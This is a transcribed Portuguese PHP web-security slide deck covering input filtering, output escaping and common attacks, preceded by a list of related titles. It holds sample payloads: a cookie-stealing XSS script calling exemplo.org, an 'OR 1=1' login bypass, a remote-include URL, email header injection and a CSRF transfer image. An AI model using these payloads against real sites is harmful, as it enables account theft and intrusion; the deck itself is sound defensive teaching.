Segurança Web com PHP 5



Documentos relacionados
Segurança Web com PHP 5 Douglas V. Pasqua Zend Certified Enginner

Segurança Web com PHP 5 Douglas V. Pasqua Zend Certified Engineer douglas.pasqua@gmail.com

Segurança em aplicações Web. Exemplos e Casos Práticos em

Segurança em Sistemas Web. Addson A. Costa

XSS - CROSS-SITE SCRIPTING

Segurança em PHP. Edgar

Segurança em PHP. Exemplos e Casos Práticos

AULA APLICAÇÕES PARA WEB SESSÕES E LOGIN E SENHA

Programação web Prof. Wladimir

Nomes: Questão 1 Vulnerabilidade: SQL Injection (Injeção de SQL):

Curso De PHP. Aula 4. Formulários. Cookies. Session. Mail

Prof. Roberto Franciscatto 4º Semestre - TSI - CAFW. Free Powerpoint Templates Page 1

PHP (Seções, Cookies e Banco de Dados)

VULNERABILIDADES WEB v.2.2

Aplicação web protegida

Bool setcookie (string nome [, string valor [, int validade [, string caminho [, string dominio [, int seguro]]]]] )

Segurança em aplicações web: pequenas ideias, grandes resultados Prof. Alex Camargo

O atacante pode roubar a sessão de um usuário legítimo do sistema, que esteja previamente autenticado e realizar operações que o mesmo poderia.

Desenvolvimento e disponibilização de Conteúdos para a Internet

Boas Práticas de Desenvolvimento Seguro

Fonte: - Illustration by Gaich Muramatsu

Estável. Rápida. Simples. Poderosa. Bem documentada. Multi- plataforma. Extensivel.

Programação WEB II. Sessions e Cookies. progweb2@thiagomiranda.net. Thiago Miranda dos Santos Souza

Programação Orientada a Objetos com PHP & MySQL Cookies e Sessões. Prof. MSc. Hugo Souza

Programando em PHP. Conceitos Básicos

Transações Seguras em Bancos de Dados (MySQL)

PHP e MySQL Autenticação de Usuários

PHP: Cookies e Sessões

Ataques a Aplicações Web

Linguagem de Programação III Aula 2 Revisão Parte II

PHP Seguro Ernani Azevedo (PROCERGS DRE/ARS Unix)

Desenvolvimento Web XHTML Formulários. Prof. Bruno E. G. Gomes

Enviado dados para o PHP através de formulário

O que é uma sessão. maneira de preservar dados através de acessos subsequentes.

Segurança da Informação:

PHP. Hypertext Pre-Processor

Programação para Internet I

PROCEDIMENTOS PARA SERVIÇOS REALIZADOS NO PLANTÃO

Capítulo 4. Programação em ASP

COMO FUNCIONA UM FORMULÁRIO

JavaScript (Funções, Eventos e Manipulação de Formulários)

CAPITULO 5 COMANDO DE FLUXO IF

Falha segurança Baco Cross-site scripting (XSS) e Logins por canal não seguro (http) perenboom@hmamail.com

Lista de Revisão. 3. Analise a afirmativa a seguir como verdadeira ou falsa e justifique.

Ameaças, riscos e vulnerabilidades Cont. Objetivos

SIMEC Sistema Integrado de Planejamento, Orçamento e Finanças

Conteúdo Dinâmico. Introdução. Interação Browser x Servidor Web. Interação Browser x Servidor Web

Formulário (Send & Recieve) Prof. Celso H. Masotti

CURSO ADONAI LINGUAGEM PHP Prof. Alexandre Eugênio. RESUMO - Capitulo 36 - PHP - Criptografia e Segurança


Linguagem de. Aula 06. Profa Cristiane Koehler

Instalando servidor Apache

Introdução ao PHP. Prof. Késsia Marchi

Programação WEB. Prof. André Gustavo Duarte de Almeida docente.ifrn.edu.br/andrealmeida. Aula III Introdução PHP

Segurança da Internet. Ricardo Terra (rterrabh [at] gmail.com) Segurança da Internet Outubro,

Maker Planet Manual do Usuário

SISTEMA GERENCIAMENTO DE PRODUTOS PHP E MySQL 1. APRESENTAÇÃO

Segurança na WEB Ambiente WEB estático

(In)Segurança em Aplicações Web. Marcelo Mendes Marinho Thiago Canozzo Lahr

INSTALANDO E CONFIGURANDO O MY SQL

Programação WEB II. Formulários Em PHP. Métodos GET e POST progweb2@thiagomiranda.net. Thiago Miranda dos Santos Souza

Manual Comunica S_Line

MANUAL MIKOGO 1. VISÃO GERAL

Trabalho de Sistema de Informações. Instalação e configuração aplicativo Ocomon

Passos Preliminares: Acessando a máquina virtual via ssh.

LINGUAGEM DE PROGRAMAÇÃO WEB

Escrito por Sáb, 15 de Outubro de :19 - Última atualização Seg, 26 de Março de :32

UFSM COLÉGIO AGRÍCOLA DE FREDERICO WESTPHALEN CURSO SUPERIOR DE TECNOLOGIA EM SISTEMAS PARA INTERNET. Programação para Internet I

Aula 03 - Projeto Java Web

Programação Web Prof. Wladimir

Internet e Programação Web

Guia de administração para a integração do Portrait Dialogue 6.0. Versão 7.0A

QUALIDATA Soluções em Informática. Módulo CIEE com convênio empresas

PHP: Formulários e upload de múltiplos arquivos Por Alfred Reinold Baudisch 28 de fevereiro de 2006.

CODE IGNITER INSTALAÇÃO & BANCO DE DADOS

2 echo "PHP e outros.";

Conceitos de Ajax Exemplos de uso do Ajax no braço, muitos exemplos, muito código (HTML, CSS, JavaScript, PHP, XML, JSON)

3 SERVIÇOS IP. 3.1 Serviços IP e alguns aspectos de segurança

Scriptlets e Formulários

13 Conectando PHP com MySQL 13.1 Introdução

Análise de Vulnerabilidades em Aplicações WEB

Attacking Session Management

Curso de PHP. FATEC - Jundiaí

Segurança em Computadores. GTI SEDU

Os componentes de um formulário são: Form, Input, Select e AreaText

Vamos criar uma nova Página chamada Serviços. Clique em Adicionar Nova.

Manual de Instalação do e.sic - Sistema Municipal de Informações ao Cidadão

1. Introdução pág.3 2. Apresentação do sistema Joomla! pág.4 3. Acessando a administração do site pág.4 4. Artigos 4.1. Criando um Artigo 4.2.

Transcrição:

Segurança Web com PHP 5 Douglas V. Pasqua Zend Certified Engineer douglas.pasqua@gmail.com

Objetivo Disseminar boas práticas para o desenvolvimento de código seguro em php. Exemplificar como são feitos os ataques e suas respectivas formas de prevenção. Concientizar sobre a responsabilidade da segurança no desenvolvimento de uma aplicação. Abordar os tópicos de segurança que são temas do exame de certificação da Zend.

Tópicos Introdução a Segurança. Conceitos e boas práticas. (Filtrando Input e Escapando Output). Injection Attacks(XSS,SQL,Command, Remote Code, Email). XSRF / CSRF Segurança na Sessão (Session Fixation e Session Hijacking) Configurações de segurança no php.ini. Shared Hosting.

Introdução a Segurança Responsabilidade pela Segurança. Princípios de um desenvolvimento seguro para aplicações Web. Você pode confiar nos dados que estão sendo processados? Quais os dados confiáveis? Como o maioria dos ataques podem ser evitados? Tenha em mente a importância de se desenvolver uma aplicação segura.

Filtrando Input. Exemplo: <form action= login.php method= post > Usuário: <input type= text name= usuario /><br /> Senha: <input type= passsword name= senha /><br /> Empresa: <select name= id_empresa > <option>nacional</option> <option>internacional</option> <option>filial</option> </select><br/> <input type= submit value= Enviar /> </form>

Filtrando Input Regras de Validação: Usuário deve ser caracteres alfabéticos. Senha deve ser alfanumérico. Empresa deve conter somente 'nacional', 'internacional' ou 'filial'. Validar no lado do cliente(javascript) ou no lado do Servidor? Validando no lado do servidor:

Filtrando Input <?php $clean = array(); if (ctype_alpha($_post['usuario'])) { $clean['usuario'] = $_POST['usuario']; } if (ctype_alnum($_post['senha'])) { $clean['senha'] = $_POST['senha']; } $empresas = arrray('nacional', 'internacional', 'filial'); if (in_array($_post['empresa'], $empresas)) { $clean['empresa'] = $_POST['empresa']; }

Filtrando Input Validando: <?php $errors = array (); if (!array_key_exists('usuario', $clean)) $errors[] = 'Campo usuário inválido. Usar somente caracteres alfabéticos.';

Escapando Output Qual a importância de escapar output? Escapar output deve fazer parte do filtro de input? Escapando output de acordo com o destino: Web Browser e Database Escapar output Web Browser htmlentities / htmlspecialchars: $message = "A 'quote' is <b>bold</b>"; Outputs: A &#039;quote&#039; is <b>bold</b> $html['message'] = htmlentities($message, ENT_QUOTES, 'UTF-8');

Escapando Output Escapar output - Database *_escape_string Prepared statements $sql = 'SELECT * FROM usuarios WHERE usuario = :usuario AND senha = :senha'; $sth = $pdo->prepare($sql); $sth->execute(array(':username' => $clean['username'], ':senha' => $clean['senha'])); $results = $sth->fetchall();

Escapando Output $sql = 'SELECT * FROM usuarios WHERE usuario =? AND senha =?'; $sth = $pdo->prepare($sql); $sth->execute(array($clean['username'], $clean['senha'])); $results = $sth->fetchall();

Cross-Site Scripting É um dos mais conhecidos e um mais comuns dos tipos de ataque. Explora a confiança que o usuário tem na aplicação. O foco esta no roubo de informações pessoais do usuários, como por exemplo, os cookies. Exemplo: <form method= POST action= adiciona_comentario.php > <p><textarea name= comment ></textarea></p> <p><input type= submit /></p> </form>

Cross-Site Scripting <script> document.location = 'http://exemplo.org/getcookies.php?cookies=' + document.cookie; </script> Para previnir-se do ataque, faça escape do output utilizando htmlentities

Cross-Site Scripting - Casos Worm Bom Sábado. Afetou o orkut, descorberto 25/09/2010. Redireciona para comunidade infectados vírus orkut Inscreve o usuário em comunidades maliciosas Rouba informações presentes nos cookies Envia scrap contaminado para lista de amigos http://www.techbyte4u.com/2010/09/1-week-2-xss-attacks-on-2-famoussocial.html

Cross-Site Scripting - Casos Twitter 21/09/2010 Menos perigoso que no caso do orkut Ao passar o mouse por cima de um link recebido no timeline, abre-se um box preto no profile http://www.securelist.com/en/blog/2297/live_twitter_xs S http://nti.sereducacional.com/?tag=xss-twitter

Cross-Site Scripting - Casos Site que registra sites vulneráveis aos ataques de XSS http://www.xssed.com /

SQL Injection É um ataque no qual o usuário malicioso injeta comandos sql em campos de formulários. Primeiro o atacante obtém informações suficientes para realizar o ataque, normalmente através de mensagens de erro do banco de dados. Um exemplo popular é o formulário de Login: <form method= POST action= login.php > Username: <input type= text name= username /> <br /> Senha: <input type= password name= senha /><br /> <input type= submit value= Login > </form>

SQL Injection O Código Vulenerável: $sql = "SELECT count(*) FROM usuarios WHERE usuario = '{$_POST['usuario']}' AND senha= '{$_POST['senha']}'"; Nesse caso não é feito o filtro de input. Nada é escapado. Pode-se logar no sistema, passando no campo de usuário o seguinte conteúdo: (Independente do que é passado no campo de senha.) admin' OR 1=1 --

SQL Injection SELECT * FROM usuarios WHERE usuario = 'admin' OR 1 = 1 -- ' AND senha = 'senhaqualquer' Para previnir sql injection, utilizar *_escape_string() ou de preferência prepared statements

SQL Injection - Casos Cisco WCS 11/08/2010 (Wireless Control System) SQL Injection na interface web WCS Permite total acesso no device: Criação, exclusão e edição de usuários Mudança nas configurações wireless http://www.cisco.com/en/us/products/products_security_advisory09186a0080b4091e.sh tml

SQL Injection - Casos Em 2008 houve um ataque em massa de SQL Injection Exploração nos servidores usando IIS e SQLServer Milhares de sites afetados http://www.techspot.com/news/29845-fsecure-claims-500000-sites-affected-bysql-injection.html

Command Injection Tome cuidado ao utilizar o input de usuário para montar comandos dinâmicos ao utilizar as funções 'exec', 'system', 'passthru'. Evite sempre que possível utilizar funções que executem comandos no shell. Se não tiver outra opção, evite utilizar o input de usuário para criar os comandos shell. Se for ter que utilizar o input de usuário para montar os comando shell, você pode fazer uso das funções escapeshellcmd() e escapeshellarg()

Remote Code Injection Tome cuidado ao usar o input do usuário para fazer um include dinâmico na sua aplicação. Muitas aplicações se baseiam no input do usuário para criar includes em sua aplicação. Exemplo: include "{$_GET['secao']}/config.php"; Um usuário mal intencionado pode manipular a query string e criar uma URL que irá incluir um arquivo em um site remoto. http://www.examplo.org/?secao=http%3a%2f%2ffwww.sitedoatacante.org% 2Fblah.inc%3F

Remote Code Injection Para se prevenir desse ataque, utilize o filtro de input adequado. Outra forma de se previnir é desabilitando a diretiva allow_url_fopen do php.ini.

Email Injection Função mail() do PHP Cuidado ao usar dados de input do usuário para configurar os headers do e-mail Injeção de e-mail pode ser explorado em formulários de contato mal elaborados A falha permite que usuários maliciosos enviem spam sem seu consentimento

Email Injection Código vulnerável: $email_origem = $_POST['email']; mail("nome-destino@exemplo.com.br", "Contato via form", $message, "From: $email_origem" );

Email Injection Código vulnerável: $email_origem = $_POST['email']; mail("nome-destino@exemplo.com.br", "Contato via form", $message, "From: $email_origem" ); Input do usuário: email1@exemplo.com.br (quebra de linha) CC: email2@exemplo.com.br, email3@exemplo.com.br, etc..

Email Injection Prevenção: $email_origem = preg_replace( "/[\r\n]/", '', $email_origem); if (preg_match( "/[\r\n]/", $email_origem) ) { // [... redireciona o usuário para uma página de erro e sai da aplicação...] }

XSRF ou CSRF O ataque consiste em forjar requisições de outros usuários. Explora a confiança que a aplicação tem no usuário. É difícil de identificar pois para a aplicação parece ser uma requisição legítima. Exemplo: Atacante analisando o formulário: <form action="/transfer.php" method="post"> <p>to <input type="text" name="to" /></p> <p>valor $<input type="text" name="valor" /></p> <p><input type="submit" value="transferir" /></p> </form>

transfer.php: <?php $clean = array(); session_start(); if ($_SESSION['auth']) { /* Filter To */ /* Filter Valor */ /* Make Transfer */ transfer($clean['to'], $clean['valor']); }?>

XSRF Forjando GET <img src="http://bank.example.org/transfer.php?to=74435388&valor =1 /> É possível forjar POST Prevenção Token $token = md5(uniqid(rand(), TRUE)); $_SESSION['token'] = $token;

XSRF if ($_SESSION['token'] == $_POST['token']) { /* valido */ }

XSRF - Casos Gmail afetado em 2007 Usuário logado no gmail e com aba aberta em outro site Outro site malicioso consegue roubar informações de contatos http://www.oreillynet.com/xml/blog/2007/01/gmail_exploit_contact_list_hij.htm l

Session Fixation Basicamente, como funciona o processo de criação de sessão no PHP? session_start() Set_Cookie Header Nome do Cookie: PHPSESSID Fixando Sessão: <a href= http://www.phpexample.com.br/index.php?phpsessid=1234 56 >Entrar</a>

Session Fixation <?php session_start(); if (!array_key_exists('visitas', $_SESSION)) $_SESSION['visitas'] = 1; else $_SESSION['visitas']++; echo $_SESSION['visitas'];?> http://www.exemplo.com.br/index.php?phpsessid=654321 session.use_only_cookies = Off (Padrão On) session.use_trans_sid = On (Padrão Off)

Session Fixation Protegendo-se contra o ataque de session fixation: session_regenerate_id() <?php session_start(); if(usuario_autenticado($clean['usuario'], $clean['senha'])) { session_regenerate_id(); }

Session Fixation - Casos Joomla versão 1.5 até 1.5.15 Após autenticação o id da sessão não era recriado http://blog.taddong.com/2010/05/session-fixation-vulnerabilityin.html

Session Hijacking Como é feito o ataque de session hijacking? Como se prevenir? HTTP_USER_AGENT

Session Hijacking <?php session_start(); if (array_key_exists('http_user_agent', $_SESSION)) { if ($_SESSION['HTTP_USER_AGENT']!= md5($_server['http_user_agent'])) { /* Acesso inválido. O header User-Agent mudou durante a mesma sessão. */ exit; } } else { /* Primeiro acesso do usuário, vamos gravar na sessão um hash md5 do header User- Agent */ $_SESSION['HTTP_USER_AGENT'] = md5($_server['http_user_agent']); }?>

Configurações no php.ini Register Globals: Variaveis são injetadas no seu código. É impossível determinar a origem dos dados. Exemplo: if (checklogin( ) ) { $loggedin = TRUE; } if ($loggedin) { }

Configurações no php.ini Sempre utilizar $_GET, $_POST, $_COOKIE, $_SESSION Em versões > 4.2.0 O padrão é Off. PHP 6 não terá mais essa opção.

Shared Hosting Usar safe_mode? php.ini: open_basedir, disable_functions, disable_classes. open_basedir: Limita os locais onde o php pode abrir e incluir arquivos. Usando open_basedir com VirtualHost: <Directory /var/www> php_admin_value open_basedir /var/www </Directory> disable_functions e disable_classes permitem desabilitar funções e classes do php.

Shared Hosting ; Desabilitar funções disable_functions = exec,passthru,shell_exec,system ;Desabilitar classes disable_classes = DirectoryIterator,Directory Protegendo sessões em hosts compartilhados usando session_set_save_handler: session_set_save_handler( '_open', '_close', '_read', '_write', '_destroy', '_clean');

Fale Conosco Obrigado por Assistir! Mais informações: E-mail: douglas.pasqua@gmail.com Fone: 11 9236-4184